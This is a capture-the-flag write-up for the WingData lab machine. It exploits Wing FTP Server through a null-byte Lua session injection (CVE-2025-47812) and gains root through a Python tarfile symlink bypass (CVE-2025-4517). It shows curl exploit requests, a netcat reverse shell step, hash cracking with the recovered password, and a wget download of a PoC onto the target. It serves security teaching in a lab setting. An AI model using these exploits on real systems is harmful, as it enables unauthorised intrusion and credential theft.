WingData
Difficulty: Easy | Category: Linux
Overview
WingData is an Easy Linux machine centred around Wing FTP Server — a self-hosted FTP/HTTP file server accessible via a virtual host. The attack path chains together two real-world CVEs:
- CVE-2025-47812 — Null byte injection in Wing FTP Server allows unauthenticated Remote Code Execution via Lua session file poisoning.
- CVE-2025-4517 — A Python
tarfilefilter bypass using symlinks and hardlinks to perform arbitrary file write, escalating from a low-privilege shell to root.
Enumeration
Port Scan
Starting with a full port scan to see what’s exposed:
1 | ┌──(kali㉿kali)-[~] |
Two ports open — SSH on 22 and HTTP on 80. A service version scan reveals more detail:
1 | ┌──(kali㉿kali)-[~] |
Virtual Host Enumeration
The machine is running Apache as a reverse proxy. Fuzzing for virtual hosts reveals an interesting subdomain:
1 | ┌──(kali㉿kali)-[~] |
Adding ftp.wingdata.htb to /etc/hosts and navigating to it reveals a Wing FTP Server web interface — a self-hosted FTP management panel with anonymous login enabled.

Foothold — CVE-2025-47812 (Wing FTP Null Byte RCE)
What is CVE-2025-47812?
CVE-2025-47812 is a critical Remote Code Execution vulnerability in Wing FTP Server < 7.4.4. The flaw lies in how the server processes the
usernamefield during authentication: if a null byte (%00) is present in the username, the server only evaluates the portion before the null byte for authentication purposes — anything after it is ignored for the auth check but still written into the session file.
Wing FTP stores session data as Lua script files in its /session/ directory. The session file for a user looks like this:
1 | _SESSION["username"] = [[ anonymous ]] |
An attacker can craft a username that:
- Passes authentication (e.g.
anonymousbefore%00) - Injects arbitrary Lua code after the null byte, which closes the string literal and executes as code
The exploit chain:
1 | 1. Login with: anonymous%00]]<lua payload>-- |
Step 1: Verify RCE with whoami
First, test the vulnerability with a simple whoami command:
1 | curl -s -X POST "http://ftp.wingdata.htb/loginok.html" \ |
Triggering the session:
1 | curl -s -X POST "http://ftp.wingdata.htb/dir.html" \ |
The server is running as the wingftp user.
Step 2: Get a Reverse Shell
Set up a listener on port 1234, then inject a netcat reverse shell payload:
1 | # Payload (URL-decoded): |
Then trigger the session:
1 | curl -s -X POST "http://ftp.wingdata.htb/dir.html" \ |
The server crashes (502 Proxy Error) — that’s expected. The crash means the shell connected outbound.
Shell received as wingftp!
Lateral Movement — Cracking the wacky User’s Password
Finding Credentials in Wing FTP Config Files
Wing FTP stores its configuration and user accounts as XML files in /opt/wftpserver/Data/. Browsing the user account files:
1 | wingftp@wingdata:/opt/wftpserver/Data/1/users$ cat wacky.xml |
Inside wacky.xml, a SHA-256 password hash is stored:
1 | <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password> |
The domain config (domain.xml) reveals salting is enabled with the salt WingFTP:
1 | <EnablePasswordSalting>1</EnablePasswordSalting> |
So the hash format is SHA-256(password + “WingFTP”) — hashcat mode 1410.
Cracking with Hashcat
1 | echo '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP' > wacky_hash.txt |
Password cracked in 6 seconds:
1 | 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5 |
SSH as wacky
1 | wingftp@wingdata:/opt/wftpserver/Data/1/users$ ssh wacky@localhost |
🚩 User flag captured!
Privilege Escalation — CVE-2025-4517 (Python tarfile Symlink Bypass)
Checking sudo Permissions
1 | wacky@wingdata:~$ sudo -l |
wacky can run a Python backup restoration script as root. Let’s read it.
Analysing the Vulnerable Script
The script restore_backup_clients.py does the following:
- Validates the backup filename with a regex (
backup_<digits>.tar) - Validates the restore directory name
- Opens the tar file and extracts it using:
1 | with tarfile.open(backup_path, "r") as tar: |
The filter="data" was introduced in Python 3.12 as a safety measure — but CVE-2025-4517 bypasses it entirely.
What is CVE-2025-4517?
CVE-2025-4517 is a critical Python
tarfilevulnerability affecting versions 3.8.0 – 3.13.1. Even withfilter="data"applied, a crafted tar archive can use a combination of symlinks and hardlinks to write arbitrary content to locations outside the extraction directory — including/etc/sudoers.
Attack flow:
1 | 1. Create deep nested directories (247-char names × 16 levels deep) |
The key insight: filter="data" blocks absolute paths and .. traversal in filenames, but it doesn’t fully track the resolved destination of a chain of symlinks followed by a hardlink. The hardlink ends up pointing at the same inode as /etc/sudoers.
Exploitation
Clone the public PoC on your attack machine and serve it:
1 | git clone https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData.git |
On the target, download and run it:
1 | wacky@wingdata:~$ wget http://10.10.15.30:9000/CVE-2025-4517-POC.py |
1 | ╔═══════════════════════════════════════════════════════════╗ |
🚩 Root flag captured!
Summary
| Stage | Technique | CVE |
|---|---|---|
| Foothold | Null byte injection → Lua code execution in session file → Reverse shell | CVE-2025-47812 |
| Lateral Movement | Wing FTP XML config → SHA-256 salted hash → hashcat → SSH as wacky |
— |
| Privilege Escalation | Python tarfile symlink+hardlink bypass → arbitrary write to /etc/sudoers → root |
CVE-2025-4517 |
Key Takeaways
- Null byte handling is a classic but still dangerous mistake. Any user-supplied string that gets written to a file or interpreted as code must be sanitised before storage, not just at auth-check time.
- Session files as Lua code is an inherently risky design — user-controlled data should never be treated as executable.
filter="data"is not a silver bullet. Python’s tarfile safety filters were a step in the right direction, but CVE-2025-4517 showed that multi-step symlink+hardlink chains can still escape the sandbox. Always validate final resolved paths, not just the raw names in the archive.- Credential reuse in config files is a common post-exploitation win — always check service config directories for stored credentials.
Have a nice day, and see you in the next writeup!
Any feedback in the comments section is very appreciated. 🙏





